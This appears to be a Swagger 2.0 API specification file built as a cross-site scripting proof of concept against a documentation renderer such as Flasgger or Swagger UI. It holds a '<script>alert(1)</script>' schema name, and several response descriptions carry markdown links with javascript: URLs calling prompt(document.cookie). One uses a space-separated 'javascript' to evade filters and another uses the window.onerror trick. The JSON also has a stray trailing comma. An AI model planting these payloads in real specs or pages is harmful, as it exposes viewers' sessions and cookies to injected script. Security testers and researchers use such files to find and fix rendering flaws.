example.json

gistfile1.json

{
  "definitions": {
    "<script>alert(1)</script>": {
      "type": "object"
    }, 
    "Feedback": {
      "properties": {
        "feedback": {
          "type": "integer"
        }
      }, 
      "type": "object"
    }
  }, 
  "info": {
    "description": "powered by Flasgger", 
    "termsOfService": "/tos", 
    "title": "A swagger API", 
    "version": "0.0.1"
  }, 
  "paths": {
    "/api/delete_firebase_token": {
      "get": {
        "parameters": [
          {
            "in": "path", 
            "name": "firebase_token", 
            "required": true, 
            "type": "string"
          }
        ], 
        "responses": {
          "200": {
            "description": "[a](javascript:prompt(document.cookie))"
          }, 
          "400": {
            "description": "[a](javascript:window.onerror=alert;throw%201)"
          }
        }, 
        "summary": "empty firebase token for the current user", 
        "tags": [
          "user"
        ]
      }
    }, 
    "/api/delete_network": {
      "post": {
        "parameters": [
          {
            "in": "post", 
            "name": "account_id", 
            "required": true, 
            "type": "string"
          }, 
          {
            "in": "post", 
            "name": "network", 
            "required": true, 
            "type": "string"
          }
        ], 
        "responses": {
          "200": {
            "description": "[a](j a v a s c r i p t:prompt(document.cookie))"
          }, 
          "400": {
            "description": "Failed request, account already deleted/never existed."
          }
        }, 
        "summary": "Given an external ID as a URL-paramter, disassociates the logged in user with that external account", 
        "tags": [
          "network"
        ]
      }
    }, 
  }, 
  "swagger": "2.0"
}